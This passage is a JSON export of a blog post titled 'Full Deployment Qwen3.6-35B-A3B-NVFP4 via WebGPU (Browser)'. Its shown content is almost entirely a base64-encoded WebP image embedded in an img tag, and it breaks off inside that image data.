{"id":310,"date":"2026-07-06T12:56:06","date_gmt":"2026-07-06T09:26:06","guid":{"rendered":"https:\/\/ailyshop.ir\/?p=310"},"modified":"2026-07-06T12:56:06","modified_gmt":"2026-07-06T09:26:06","slug":"full-deployment-qwen3-6-35b-a3b-nvfp4-via-webgpu-browser","status":"publish","type":"post","link":"https:\/\/ailyshop.ir\/?p=310","title":{"rendered":"Full Deployment Qwen3.6-35B-A3B-NVFP4 via WebGPU (Browser)"},"content":{"rendered":"<p><img decoding=\"async\" src=\"data:image\/webp;base64,UklGRnZIAABXRUJQVlA4IGpIAAAQJwGdASrxAUoBPjEYiUOiIaEjJpE6mGAGCU3S3ke\/cBKrEdhL5xiIDt6zzKLv+r\/jl7L81f7z74XGfcj7f\/Cfsf\/BfN3+\/7\/fj\/9p9OXw49I\/7b\/Dflp8uP9l\/5\/9L7q\/zt\/tP7l+\/n0C\/qz\/qf8X\/gv+9\/gvpF\/u\/2e98X92\/5X\/a\/wf\/I+Bn9I\/vn\/Y\/wf7\/\/Nv\/zP2z94f+a\/43\/a\/wn+W+QP+0f2v\/3diP6A37af\/j2f\/+r+4n\/I+V\/+pf8H9ufga\/m3+V\/+X+49wD0AP\/h1V\/Kr07eY\/4z8jv7V09fsD8eON\/47wT\/mv3U\/Kf4bjx4BH47\/N\/73\/cf1\/5YoBP6b\/Yf7r+a39g+PKfrkB\/3r+1f6n7cvbQ8jagH\/O\/7h\/1P8B7IX+5\/lv8p+8Hvv+ov+x\/lvgT\/mf9c\/3H90\/yH7WfNf7Rv3X9qz9qg02ZyYBCJL\/AtFQUalgFLB02RicPSFRKvvWVz+UFHgsQNHvepX13UgzoGzYrt04yagjyO7+ddo2ij+qRy0+0XSjpBZezx1MEE5jIHluBQpxfNy3gRsYqWCwdEIUDuWuhjtVPXY+vfbuRDxRLZj6\/quL3Bxa4KhEcLqsUGqm+Y6EPcfWfc\/P5\/PYDPfejTWRj2\/IFAtZYGQ1kHlZcFu77T4EeajjzXut82nHqidWj5kGxgy4J8qI1eaRGAKrYLQqBzkHGfuQ8Oe1TOePvkiXKkiKIgMdkx+anqS\/\/xW1WK2rKU6cDu6O94NzYBC\/eUho+WONO1U0Z8rUkeWOmV36qXce3Tj4giv2RYrwd3I1WAUk7XgtAdiSxhDuzp3D1Q51LM3jQgWLNSJjLMh9SsHYX6oRA19jaOrl5CKgQLM1tCui0yOY6VICYMy4ci5OxG47K4P3AEKJ5f++zPGG0vY+z\/6Ia3yGNI6kLNMv5LmZbnOmAud9oXloYT68TmyCQBeR8lECNhQSIOXjIAdE5yJ+gQPwwcD46WVp1T6YW2GTFpQALqrDcxynDS\/v+Ns0M4WloGeiWna1sm7mYNFlvsqH8WVUG1d1Htyll\/Hibx+B\/OWmq9Sk4bEi0u1RFOt83j\/uWFbqYcqUtjKhtjmV85BFg1y10akCqoqfLicSU6LtXghplJKuWw9k6QXTE9f8iuI2+djWh9EloxWt+1majZVtcbxziWoXaxUJ0M+Ht0N5HK08AeQjI7h5avc047248CbS52J3djrjeAYom7W9N2m8cJysKK53+S\/7YtJt9NdMQxvKxBDc3jotkMWcjZA41Do4+BDpglwQUxPS0yP\/AOkGtIaKS\/q5i4kwBcNLe4j5J1sDvBkMeEvhDcHoGwhAmFF\/vZk6lLdzhywIVu0BvDQbn+H9G\/Dl9AeUF5CrnBH5nERQD35FGc8Cch1GzSmxnajfIQcb5dLqdaFDJRHMIeHu2xVfxjmhdHRfZYByTwdfwVvy9nrSHfnaerE85pLZH9YkDV4pJaKJAbStpL0FP5jpPwKynNWnHnPKePNyMplnu8R0IILOdcAxOJr4Urip3NIhSH6kY+gUQ2PgM7Sdmmgx8ACrIbzZY3CReCTWe2b+5ccFiONL0RQYKxmCwNnTxebXMikLpe200kpPF+gMYfcEW2GFz3VcU6ddx+dcr15DkGxk6tb9ys0tmmBWvcgWvfpb5CNKlAJDdoVCPUy1jtfnw9OxoKcbbpF+aDzuv+YXdTx919tLjlgwBqmPn4fTVo5ij1EZvEDzlKEdL2nRGHCcpJbr+BYfR4dcSmwonmnV9Z6rd\/TtqiwmvykaaqQGLJDKg39uKrHEnj2JVLikPzKkoNSFpPP8WXSXX15nQyZwzozsoID5DcjSfhOV5elgpM1SZnbax9gpdtX\/zM9EpCCwqrw2z6PfYVjiZ8+1pumYTkXplA8hycLiVSDRQdfgopacQ842p\/DQP0\/v8z+iE4IFMOBWJsS27cWKofohi++n2T7jCnPJYuANARMB1P0mmoGi5Yc9SExc3AciCuS+jhP7UCam\/VOSY1q\/G7ZsEz+5NHSdJaVrtXFBlnH4G4vyaOmW4N0WwQSMeYT+HkwDy\/DtjljN1zg\/4joZI9iiG\/6H0jwnAGtJmcQ0AvWpYwbTzi1XFK+pyfm+d4ZDBSEU4bXbYgqEfUEkTvu7Q1AgGQx4OAN2bwcGUS1o6jbUdQfygECsZlWkNXbXIYJ93SxPEI1VYM+S\/BiGxiltiihZ8ZtyBtCGgO1P8FsCSzq4YmLspyjh0QYCfrIhygx9fPHQXm0snWomy\/GTk2A6uA5DA1zKBTSkjPPz7Ml2pyQor14bZO2nbyqQNOKR+nAzVSSGSgOUrgw5JUYj6j2jNKVJ1VCdM5ZhKL\/KAU+4yCQbSixFVnHxWadTGUXl8aWP+MLmR5nH9dSIriSsnqY41byi2GAD2ku0gKs4mrzoCX1CfBnn0RtUdTdqjbl++k6\/jYqzKDASbgUlryr2T9Fe5jPrT9guuR\/SDRuY11UJUmhsAcDUDygTULzYSZw1+LiVjxM8ZbSlieRPPPhV7to+l1wg8buyLxccunWPjGFVHDlsdX1XoahNXNz7kyP0\/IvBk\/9Ryd4D3373P+sWQHAvgpzQQ8BcAAa8E+LZ3P2IWki\/SxMdV5QTBV2s3A8DMpvhYxN21xQfPFkX\/BNdAzKXtnZyrPgzuv+TuHhaWItX5pgTJvuqHbvhNT+DJlrxTz1HwBmwdsfto+kKVo4m5PUCzXs1bu4GEJo1NaW0hL1cV5TMJmr\/HPpgWmho2wvlD933ffkYuVomMdlb5JesQ\/qY+Fj9t8t1bbf8J\/53CGZFK0ddfUkegOy+W+UXBSDCaOdQftbI8U\/cqBKDii4q\/4F\/ztMpZDhetZG\/GU6narW3jZde5HzLsvtPSQwxCtH\/ol8vEKmuDf+o2Z9QUvXNEFZ36WkNjBA14loCexnS7mYz3PRG+RCkS5Kq67Suqu5q2i1Whhe7Hod9QPKanUHazJoe4mwU12lBBvcKzrSez5v10ZmQErvHK7xy34aOwXFX0vA2waEwPG5nL6e5odaCStZh86Zm3PYxdBgTQBbzw\/g1\/qxIQMvxHMrV99gi6xqs2p7nJJNDTunF1Tn8hWSn9n3lyVJqkQ3G5Pw61XxiEMggAA6tTM2Gz+r2w+K\/6RDsAvEbJC\/Mpv+Whar027aLAAD+\/vBwEXi0uGNGkLYVrqyI\/2Tmxik5\/t43aTzO0i8smg1EOqPev5Zpbj+okI3VaN3Kh8i38pUClVORZTNWUMUteSE6TPQ+XL+6nZAkqn8RkrT5IBCOh\/OxJCB5hgbrsZgdO4rckPss\/xMIkoeYdAfuDkf34k8mUp5IsRSTdpiv555IKGhbuL0WhpHOYTgkAJf1\/IFrcolkI4GD2lLF8qVOBdQdbDeytzdj2\/9njYOzux7GUlNjcwaoWj9vsks8SQPa7IpDQlfDrceIwNhZYTEpkMF0jAU49VZkME3nMrL1vGchwFpowzgvZczCCiD\/Wh4STZR+y8XpmGRWW+tYPrCGgrIH8\/xjyCdnZCe9Mkwam8ojmAf9NFe6elzmhwbPDhmg8geoXJ1tWpCclA6MfrVK9+705UIFeFGotYPstsQdJu6Kar12Mpzcb6DATB1zZy0EN1yynuxAHS+1zMFc0VPpzHbjc3qL8AxhBEfFGSoHI69vMzARK\/V5vslQPUZn3qIXGGk7kIoBkC2jBEZstWh4xKzMODPs0gzLAGVnwM7v7uLOT58dfcOMm++qX3r\/vrZgB5zquxtd+lHAO55A8+pbYZluLt2biirO5g3W52BbjF0irkLmNmEf7WtpSz9MAYFDiQLFxZuabdSgrHMcdpKQV0CmYkKQ0hsJyPfube1frwY1CRwKwbkvGbu96ZrF7BuJQr04L3VHeEVXgfHPl\/6P26j6qVp2CK4HqeWOFpGZfyNO\/ax4vontUphqj3c23IOtHjIxL\/zmNhsdK2B0VeRDLNm6jYUlTdV2BoxtyveFWDLaR8jWGBvGM6gZaYLFxeN3\/JHjHcfc32CxOavOGn1d9kqCf4I\/ZUNiAYXkLnFsSkqlPSdIGSXn2MrGpj334bC7lTEcog6SMK47V5WcWd07lhAchdAjX8VRIk6OZ3BtPpREu1K5DZoaLo\/oDeGOsJj+BwJM2NZKRNUldRRaEtlR2mVSLw1+u9ei7YsuHQ\/4WuSnCaTWsPelHgEZJmKvnVPQAWFP\/3DfzyilElxrvm3VVLKZ1L3IgDRHp9nbkgVSPNBBmA98yTXITEg7ng0E8eQY3OXFWX6LT\/aM8A1neaFmVi3BBZu3sZWJKgJK9FpalLrwwARuHVzF3M+NoLC+6Wg+FcVW3KuWpkF3sVXyG9N8aTeZux6XIw2aOLhamETlprZpkzgBggl1adQzRKdB5xNfy+BITcXx4BFj0zOcmqLL1kIhPEyRNpV614wj0+OWZqwXuH8RAGxHvwm4j+GGdRHRipZIuLDPUbO5qwWRrTjnw2jYSM3xadoYR1pWT9hbZjNzH1sJ4g\/kOvsxlWH+z5sFgSc1hL0s4h79MkvLMU31nsibjz9FLFHnKgECIqzIS8YHxqsTVsLJ+jc3mfn\/F1CPWogYjFuTzQmAdCQf+S\/wTGgcyBBIaLxhOV537JXuGL8LyCnLovXXod5WWbspPXNsZGmIHNTlbeAc5jxgQ\/B1Y2QBlegkWe1OaQLHdX8435Ri\/IpH3TLwwclpD4kWaB3S6AzXybzO+RiyhLD8YgUWKFDi9khknRTnDw5Mr8qyWuo8K9NgnkP+UBG375BXy5e3D15Ll7YcHlySOTDjKagAOfJ5CxoXWfLruE7bGQO4p\/t53VHV5EAy3bpL4FDSjy7nZorHDuYhgUqKSL3Baz7VS0I\/pww8Y14KBEeMaJ65i84UnUmSYjkLFv5oZdQnAN+WpRgNPJy4hGxftmvGTOrswLA8BgNrLGXjLDww9Q8uAFnyYpJ\/TPlcTwA5LFm0JIzVJn5i7T0GrJjGd6o929EONvFOKe3uHaLJBmfuv63zpQu+tTlUoUjKjktufrqc5gzTSawqoj2O7hu4\/pvwMYQiB6uH4yyByJElAsjfPGX+cP2ZFJ4yl63E5h89jvZANiDc7bXsR\/JO9LBY37Eozx86DfMVyBW9QED8SRds\/+VGnoFrsbENrY\/zr3hFa4A8Ob\/RGpFORiM9tQiMmWDPyyTBfvvNKAsFGPIgNZTy79Bnyu74+9uuYX0c0iMBoQF9B4clS1lveY7eaBnHihIpwaGZd+Rlnj04Kmk5Db7FDBqdeuRqmiY4iixudgoUlQ8UbY8s5eP0TH0CHqhR34rrxxN9PurZ5RjwRdG1ayKbO+4yE+tueYDt9vm3GYsEwPlL5QHHsUfEfzxAXuLMhfSdyXkUJ2NcVOCqKEbn408hnataJih\/DN\/r8ndQ4hZc2t+Gv+wzaj3u741NhgY2gFeh1zd8M2bDxDrl4SuLhzSofabNgotU804dzOMH0lIYzjsBI9coRrtrsso++IeniVxsqRB4Jp4Q7RL72xbOB9TWK7dd1xjQbIBsMFG5NEjiPxUDbCkT0v\/ph9EtfT6MKYZ4Hu3RjikWdeBoEUSPxSZ2\/7r06frNTM6OrPqeHCQ4hwPrCvUn83gYb2Pm7lGPliUEZwxAlUN3Aci99fkqK4+PKrQdLxPlkRYWxRXOmFgd+cXmOjdxMasqx07chndH6AGgT0EP3jq+Usw4hK6N2pwP3\/eF8ZhAIjSlfBtWgsWHRk8NfFiofPuDNVx7Mq+9v\/g9O8f\/97rG974rToP2ytYvOMXzHk2EyBKGahJf8DHMpmiOblQDWV57uYArtMPhDUTpRE5W5+WeuMOSbi8a439gA\/\/xGJecJsts2vgz4KXJxPBVROCUFAYA9tODf42dU38vjs4J3LWVXY5ij5YlAB1A09CW1frn0eaWfPntOywL3HAoyeGzGjHO++n1bAziQf8Wnyq6+Dbrx31cOMqi8URSArPBUvplt30qV7BB4vQrOr8LXwsduqbBaXnWBGdnXhtSOsuDH\/aX6g8Rb0j2ZkBwhC7jvTbMEX77HhOSQqPHh7qocNykmqM9cyGhKwPNvMX+mJMAyKOyZT8\/yb+S2lf7I30o4hJCCsWzToiqY\/ifxtJg1sJeKuxAdnxhceZBhwl3TFyZnClxhCFWGNVd7TQAnZRMf51zYRYz4vjKjjdUvj5MgL7nq3kd0YI25b9UthjTOlcO1D7PnEANtyaE2UQaDW9ZSBkQA6mG7Zu4tdGbae2EoMutY+IU9UrEH9QkJ2dWghEkEo4RY+akDsJVQzxYoaSb\/dISs91jifiIhhy7klrzX5rSWYwUrEMel0rukyftGJR7i3CihtBfzLhIuhqKjCvPWbhOGeJkwcQz0c32JySCG5d7k25Xwdkr2Gr5IU1VkA5mYUP8sfz+Ssb8+DA\/jvJPfJkCLByn+XIK5DNklkDf4ZBDx6h4BBlKciXVo0\/8p7rLACOVvYAbaKbBN\/mTwDqVzSJrF+xwQAYRt6iTVdLXRqB7PzqCYlEKTd\/MixXYqEua3gbiNI8SucLSqQ7scQ0\/zJEL8zDGnM99ek5kkSPqs\/hGB+52kTi6K4zcQP8Pa+YETCZXCeSbkdhz3aEQ4STZrGsdYLNl4aL+PVrXVsmpXfi2fzQXz0RatTldFxU6YDIWaMEPeAMTy6IcTkcmPXm+bHcnx7a5Qvj3sYizx8ufayUY7eyNs+dmeKbAjyfGqfhk+n00HXDGcxVV+LDZBjifdmRArm\/4TUftDb9x96ZLUncwLOYwgl3MWm5DCstDuXeZHJR9YW0VM+dlG2oZRdFllBp7uD7qqkpI1lZKJDujvIMcE2RILwfu2bnkasyII72c8cOkVrTokdppLZR1JZQw\/ed8cbqmI\/nxeCdy5dS5tgeYROJUUla6gnTW4XiTOhPupLtb28V3CljGyRJn2Xw5VS8q+sb+BU9EIGb374f\/eeA53Q73pLaQF5bRVOT5joPTLpBg+IpMrpUlUs2HgN5KovIcSRn6du+1Ea21Mlug6d4ARg1O9vxCnytrHGKtTD8ZrKVTGFzYvhF8aqAHuRzb6MEXcE9RodV91jriPpVVkxrkuYfm984g+TaQ32rHhtb3T8nt5wzn2Vi66PTGnBZgczySdKkwk+QjZFVN8X0pXRgafB1lB5j8v2kXHSKei1xu9+oOemStZ2JQLqtoznxWY7V5D\/5CpbZ1s3gKg\/7Uen4IESqkq3TMDZKQNcsCuhnNyTXN3PnEdRmqG7rFoR2u3LtxJq28252cB2TizxEcpdNHEntOr6Kzjo8e57qOWeO75R1tp9uPmrL3\/I3JiBk9JDrb1mc9lkDUfNhHZ1p7VEbiI8q7Q4oehOBzDWPNp33Tf0zXolVuRMY6ug7TYBGe4QCV\/MLwst\/Bha1asrfQ6oBFpcken\/yI91CQhcKuRx6jsHdZRfVts5iulhA0O7ZQd1P7jo3PUw\/Ffe9wju3mJBf0szVmP7oUW0uzHjLbedQ\/bC0SbPGvWAss1fOs+kbBzbvOFuuCIhMnAP0vh8zbe9d7zE+2ZV\/\/ZzvW8NCKScbwaHeLOQ6PQGCsVHMb+xSjTc7IvVMB\/+\/EklAPSQcB0ap12eY50oZwpkAr3syS\/DfBOEXfKO+St0JsT9lbYBWFphciVY1B1qfoBQo0c2vt+Bl6MzaZiBxJqGNRTwEasCwXMJFJ\/igiWWWWvFkZNC4slEhtcWp8XYTRfsO\/frKn4i+MeU8TcqH1lpLmGDCzw14QbB9PfIYRSbgU\/4dqseoGIcOaASX1lAnhf\/8VsupSqtUzZVWrDij7s6bi8lcvuI+zNWrU9CX3ihMbLGO\/3VOBaKEQSLHbh2YL\/nMusWXKqPEpbzUn4GfgC5gCT\/K6Zjgd8gPC3ZiVAYOzcbwOq6MEQV0YPHd\/eFBfJwjGd8Tkg8G1hfDjKZHW3ckICUt5KQPg07mIqYns0OE38SOusfHX1BWn3BTi5LU9B68ViCjzprYiprgbGZNxhmC+\/b\/X9KhzVxBS3R34nt1QBTFJNBIjg6XInnqwVQQ1CoWUXhTTLRSrtY5W07lcUONTmdPpcy5Q3LnS0LSaTh\/3U2Wl1+N8xYwqMiXJYoGsArccER5FemHNOb8OMiIshpb7n0K\/hp\/H0Apmp5Ur7P1QbKCo5gpX6hBblRVOjJN\/UD7Mc4Sarhqg97yaxIxXn2986qh+d3+E46STdRCVNuqMny+xA9pFW+xxXGuKC72v5lIBcmqR1wJdT3kVUPquU\/pqfo3e\/BF5i1ztOaZRIavpXZhgyCESxz\/zz\/iD98fqgK\/7ass4PsF1aJw7DDWsdiMbFAT2v5+tf5KW9uqouoHH6JkyGc+wSQlkMH0DG79B3Uh8SiyJc3UgIJtJIWowfAtJ7sSsE\/olUOkE8lzf3djY+dVFr6x9iImw5J8I4DULD3KRYmAkCzsqr5JUtMhwmwEQ9ypAkaz6ie\/X7VNS+vEzB7u7OFYeL4X\/uQbnyqyfPJt5ifm+6jA0j1kQDgBEgQSXWNFiTBKEzVcZM411mTVFPk9ZbH8zWOtUWFmonsTi46IOXUeKq+N8QhcqNu\/IbZlK5TnkmTa9c1+2g1rmJXbnOv29OaqE\/4BtyBWxHZNFuD5qVTO\/yM3\/mF8iKWuF9MdiL0IGaYSoMiWPl43zwLprPJy7XIS2ZwKpIDPwdzvaVsW4zX7CYfKYxQJU\/9MrxnICZW+9YvNV958T995O8GjKLv2EOErIEDXLYSPtFhJf\/f\/VwFQ\/Szn1nIDmGbXatbNPgWY7Jt9Bg7uyEE5n4\/Dpw8Gk6a3YgW3VEziNHbaIFpA1RKKUydhlw0RXmJHEeZ9pHnKWWwHyOTg0HjrOPE6nMapezhw9t3PGHLaklPAx8hPB5D6AAcEoEnUlDOmQcUK\/\/04g6hBRZJ8jMXDMF4ApHc1Jd\/\/Wa7xhIFoBn+IzcquqYI0YTW4Puy8sKmKFNhgU5qNPBSGcrrTibfuMFArJzW2ssuK2TEVCsukQeE0ziIZsDVxacBwH\/\/DGVafJeJ7nn+wAQnVPjAOY\/jm5keyIoynDZlZIgYeILWmAc2Ms5n8KT32Fn02Y+a3xh9ICZELHl5R\/JJccN3f\/kBBJenNGnkZRjmPUMawUU9aWLhDHHGgJFhciKAderxEQ\/Fc66Jei11tluaq97gIGLT5SkB2wpKg9itx80MGVoHoDIDKMlzXOprS\/bhBABJ7hej\/xx5in9y5Mx30Vtkx5oP1dXQYu4cMI0peGRH8HibRINBNgRV6Rb59wJgTMBTeo8hldPiD+RJNinHCuqw7C1a76NIQjvKKo5VTPuHVYWLGuTR\/HruWipSQfmigUR5opBbPGPFffCqDHGHNN8waY\/kRFHl\/ivxWnhJ7Y9UdcScJcy3PdDVlqDd1b4rzs2S09uTYnyTS6Dwhzro\/K350CxSNbJ1YDfbyn5uPfzv80IwtUu1Gx5\/2HWfC2DkCSVifn\/VRyHbXZpTAFczk7xgQgkgO\/QfwI+eyRjopPNfCwentA6\/Mqtd23DFtzF4nEbzr7lklhz3z+d6MEk27srZ2soG4hlgSM1y4u0jFpPVRIG3iDnGNfhEp1lXxqJb2WqKxM\/dHxMf4jlrXkTe6Ddh+8LHPJnAtqcwi+fSk6tovyd10kY8grPCd21LXq+mS5n5NGKYq6dA60iFMb\/qWjIMOEhUGSCk2MATNPwBaXWUrIHSs+euwgnkHhU\/dHucbYt4kxdBAU5aKxcU5cVHSJM9+YC+D5btbhPB2e0qhuxzWXdCm+W96zwyWgicpHc6brcdMUKIDWS7lmByqUMsV\/jyGjAuUFxD21ZEx9J8VrKOboKFpk0E+jH3Nm\/NBRj+8aZIX3nyaaT1DwzjLTHaqBEbKK3mFd7aCtOYEJUiJDTdRhM55QWdiPbbl9mgoxxXmpRbzJ7s6NSDlLMHsYDDaihVhlt6uQ698EGan92M4b64ANy8rJYgYhU88mPaUkCFies06GX+3kgggL5NRhks4pBTjcdTcMIZIiifimCBNj08jU3gfAkN7ijr6OuFMiIWLccJRRf3Z+ymYuIEMicCIZ+3ZAxVnPtLhAnaaWr9YMpO026H0Z2YPPHHCBbm4xFBjGO2VsQIDBDg3lCqhJ1HZq8a5Tec5zYv37BdYg0VP133nx1yvGghJEjGEXi1l63Fe3rq9yP\/Xg4C87jqEFT4h0x0CXCO+I6ZDrL8AKNlk\/AKb+kI9Es0fKEuNb0pkTokzGDBU5PVMXXBXtYCOfRb2u6j6cDTcQMgmmorYqxTHse8Eq01L7hUEgMxbOEN0nUJFP5BYf3koJKVRMlVAcB9VLciIXQG1ICDZy1p88anX0WLusy4A4ylM9gMHH1FEE0lzLXKJdhkKUwx8mgrve\/7bHQvWF55qx6Ha\/+AvvEDgeD+ELYMR4gNS5RthHHR\/xR6bQyK+UpNaPTD15Yn+mUI+KYpCcQicoYmlWoZxjNG5QjJckMvkPClND1hqB50vh8DtUlTy3LpDmQ0N0txxUyTHYpbmxLjNmKK9PAIMHj3dFqLDaPBzSFOd2uDs8N\/MH1BCJPy8MKzJ593CJNM4oGw24qxV0H\/KYL2j6X25opH9wXhVwM6GiEt83DoAeSdlHnUl0s2unL2xhxKrr8NcHVHL\/byH6x7ZX2huMIdsQTvFZkBL\/pB5h\/8gebfei7VpWva3FqEhSv7+zzOO\/bcqrci\/\/wrvFZG9qdtykDz+n+VhmJdL3\/6jhUesvnKTGi0Aw8u+iWZZzAFeTDOyvvcT3NXpZlXnCRORd672XgknNFUhzy9j4\/6ZWO8pHEGpYqIjQjWpbyi4sYaCJtChFkR51Tw1Xj\/gdXbsE95ZJoBTsoOcRKOyfDzoqeUV6FHJHBBk2GN5\/76II55Xxgr61zhNBu2rFKUROSYJ7awT24AFsG45G65zkAvxroGC\/tnULSoNUofJ5zpAIxAmmo6LQ3lGTyRpgZ6iFG2tzCy+UQ4GavyCSaHgih\/ZJb3nIN9VPt7ZrYO05OENArH5Q\/uVo0JSdkf6WK0ghGxeFHqmqc7+XQ+pNwbYJNJUkkaUzKDo+6rLR+01XqZ46\/mPFKXwAFQgjS5e5x5Tkdm8NTwWgIn\/JIgj7yRNSje+6A0g2MtBPsciCIo1gt4QPA+Vh6wOgpwXnF\/culpqVlxKp1oknQOyD9ToUMsbsiQm0LsOlsYYUigIohtfwpbkajBM7B0Ziqv7sxj8ndq\/gaIuv+w\/1eccgavf0RN0NK4VzXrF6vEn17umPLhOrOJ+7Fs\/yaJecmhwAQ1+1ya0BxZkIJ5YHtSuwDrQaU0ZhwRLeREDInQtFBZgywhmHkCyXvj7ojzgPbm2+MhZLNnTkpQE\/S2K\/XnZQ3\/0IhN4HpAD1UIVFCQpxYKnjwpGvdMg\/JOmz9+sYpToYJ1C5LOwt9iybTBDn6Zst3sBelKz3UnWclrFY71NalWwBSW8M47zH8kfZ+KbJbGm3xOJP5sxDD4QOCgLiHFijk8ejdJNkoNK6wriOPYMZVHavAdMSxZyVUWPtF0O1MuePaLBacpJSIirbkyUCDjlebId46OvVHL4EBXs6AYZQilYHb14tI5kCmsdSeQ818leSjJeNnmIzDmDDMKRhjdmhoKnZ5MaOEUrd1jDizQ\/QPZ9H3k\/5qOHXOHWodX8YBuyfoOsamHQsLTDvEVoJGCJV0NolLONImhJnvVI9UvmC+47\/Ux9RYznfquSTSm175U7IEoJGU13qapY8oScIOoejNwgM3WwpgPpgye8D582k1wFtbU9oKq+262AephAXRlo4TvDmvmG\/fZ4nZPMADYmQqboFSpMy4+mjUmyNwsUpcEiwSO824zRI89X4AbXFXC+bUJhOOuMD3OlbBZHQjAfbVcwaTx1wTtUrVE3JVjF2o+7\/CrhfG0AAJ2X+1a2MYLpC+8MQH5AucvQbRTsRjG47YcApsjzTMvJ7xO5ZLMXhBoTZpXTECNxfRjaY0FEPUJ+l1OTpC4No7WdRie\/YHs+vAyH6ggoW1+MKJ7Rw4O\/YIyzTlm497ouWsqQJcSaMGPGbH4qrnOeO6p6wc\/JK4MeupMpOGwJn+G1DbEzMWKuKZev43Q3h37JE5rK+4G44PvORs3CvkXcN1n4eoJFKGfTiz8oMjjqFwd\/SGMeIibcn2GpxbGD6R+12cNwbe01THXACH6ayXo8BxWuaSuBi6iXwBUBttrtZYXPz9KsAcND4t9G+6mj3YTnCUlYOWqonzpfl3X4HrcYrmizP3ucAf+Vc6ROPHSF9pM\/7Y0Wfwc8Ss167WhORUL6aD0x3677HpqcAaKprZxH2NbIDTXb6M+io4nDKC2j4sZ2un281r11rxuqePWu+t6OItyHZ3JvmANTp6KY\/IaADdEsoMbgAouFxe5MlIA60IBKViEjQzobg9riJcjCD\/rQFraXJfX90xtxZDNUh6nq+p0UrezRFH4WEbCkXjbJ1Mycq\/1ju\/jOzYHekaYQmQDv6OcYiMynLbJBKzBNgKybO4trNZIROmL+bheg34onZgqHCmcPo6J0TG4AXMgX3usxttVXTrRx7uSr7EsNzzEL\/YVhbdTerDbDgxhtqa3+rOX\/6oWwrJBMQ4ZaQatVZtzUNT1PqZmr7DOhY\/5N3KiE7EZU9pdNbkNzejui\/0UrkDf07OXI0f9cUyTo0Ww7liydNsEreZXI7SyNTgZIqVxSpqmkR2uHv0XUqFijvKXfdejRG3RnU\/gi0MsAVtREudX7cUXytKEq\/sOVpKhCEffCbqFzmCWauCWrzOkv8qNd9W075pdn25FgeKuPU3X+NIqiBtu13d0do2jJGmX\/YZchAa0FHYD3TWsk6+2cFm4+dMMkgPGg8OJGqjeePG2Pib9+YRkLhLUvT76LA5Qb\/GYqOKkhIeUuq37QXyE+bx0OliP5TGBelmdLDTtj9QhzveRVrxT8L5j+LhM29LqkrzNvXsWLXSIl8vJSQ7fOJ\/o3Rj03fwRO8AXNuNTGRwjAzcKQX1foBwOuYs6wWgSaPakLXxwAelHc0u9OLhW3\/O+Afe6lKnJILCbwah6D2fqLpFjDXlONMZPxPuhnI5DfgLasYBF1ICZ7HqcMP\/tdbHbi3mF90dNgbjWNs7jLwaSLO3FM4wDQg9DpC2kO2Stpec3yTfSCB79EiMx393PXuMivFzy624bbY03uwyNp2zbFLwXU0Pl8Ff48EHWcixuxZ3NAleVpbnEfeQzJCO0OCggQadUp+jbF\/+uID8jbTQxbObX7qZJAmX9JA56\/iWeEgs3xyFwb380K1ytwtRa6kgV81fZCJfgOvUf\/kExY8mzTxPkexQABp9+n2kD59gKlO7fVkQ8FnaUzi2t6f4v1HpksGxTHoVJr5xLIzPQb8J1q2x8AOTlf\/JNwxYCEexgiAa7943zX6vmEeEgsMLGDj5Kt5d\/Z01kbCB3mJgsP++AbGV8QsvM9wKj7HOLEWm82TUfQQ82G2\/ut5uSJrWMIrL+Fy06cUBD2kIddTZVK0Y9DgbZDsLlmYtKDDuUk1IgLUz6r1uEl7RvvgBZCccED7x\/eZ911sHFRPY\/YX+ah9F2+lIRIQXoPTkTYrqc56pTl1l12uHQML3ZUDZHDqWcZ0hzVfLSp9ZZ9cpevKNYjg8xioOMmZUTBhODrHi9wxE+hZcJ5v565c1Pfhx2XHz2ILe1R7tLeDA\/49To4L2ztFmGd6WzAKXLZGtdD\/XQiS0N+ZP5UUBaNPFM\/wAo9n4Ik27jM9HyTlWGkdxqa2fJToVA72j12YgA2qonoGDI7ek95D3iJrzCvQ+SYv59GcH32v2706KvAzmXBgD7\/vYTogI\/ld4pyWHVNXYa9weXpgL8iKzcl7yMD5uyTaKi5AH4ss09dagIplP9N2aFlcAV7Zecs00qULSS97HpUYw\/yOUUHxwTyu4FCzvVbTpXa1TB0mcHcIV+jLXKutzc247ftbY2vU1NuiYlST5YNCQU+Xet6Sot1bcS1pzW6R9AZ1UoBQtgcY7amaWVs0qKrebvxFqOLQHlLGNC8KVbTQfAq99zvXsUEGgst4JnYcnjDtwzfnojn\/Q4Ctee\/I6Pq6GR0yJYfBRHtJ4YirmFdW\/Xjm9WsgxWYx6eFwOsVQGrD7ZuA\/jSsaAnXr5y\/rq2sGbr2dJaw4\/v9UJDI0Vo83WOsiTwgrAVuqyfdhjGP0FfBQUkX7jnlwqI73KF6yofISeikiAg4cFyMHVWdXzFl\/naDNKa42qD7K1ENTsw0r49zgStqBitxbLNVDMmlMXRif\/zmN2aUWaZMhPwBgNZAagjfLFrLslwkYjXsszjb7GjDw2V8y99Ii+Nxzz1c4vDNghsVba9BzCmrFFqqSl5aoZlCMOfYSRupfyyayCAsB\/bL1CJkwQLaWlLxZobsLojTvlS6XvY0mmJeDGWzevm7s51zekDO8ev8mtHKlzMqnKwvvPelk2xkFyct8Fg4h31pSKRmpKl5DlQjFEyDt8wYkRrmjn1CbkRt\/aCUc6yoC8BxyP6gV7+CrZkZCpweKZCEcO8wQLzgOzwl6MuURcrrUZFzH8ibImcllu7N57G8ctPm5mWIFR5bBj\/lsq8ygFFbXQWeqr6CqRJCS2COyZRPEYREfRoySc\/Zf9MJMwvcW8MpYkhw5QdiuBSmVrX4lQcUCEPyBnCmTEh01syv9xyaFqBkA58esQa1PDSunQ7sHT6Hg1VbVODXrEzUES+0STV0BwGH1Q98lVtoPa\/FfCA62KtRDHbTRCbnyqmgQViyJNzXk8\/O3lvpq7h+sFJsl92Qc4gLaoX8Q+U8t097to90Au9YLoYgs5BpPqVU49hJm3wUfjFEf+JceVVFTGQ+o6fQzqSK3ZeohXFn\/8hR8nTtBjnN74YnrNxXFVIpnaTzfpyyQn5uhJRKoD2yynte5ulxBc1Q0nq6CPmoY33pAjiVJAZq3v4YNjw+aoibQnjuCHj6nt1JjqcCE\/JU8jLOTuc\/+eXJaq2nJTxf6Oos+oI7tnN0D8anVH7SJrcRob3bCpVcCHmIIrC3Qj1rX3Rnwp053\/Rxh9DF6bxBAzd4tZ1OcFxUPuCIj9JRGPKwMY8VH7FDgoxuvEoNrvJMUbiKZs\/zQrxqL+6WPgVnTh+28MuLc8+0ayyCx+VukV2SykmWZbmKMnClMK67mKsBC\/Pr\/4NSFc4XRLoZJWqSmm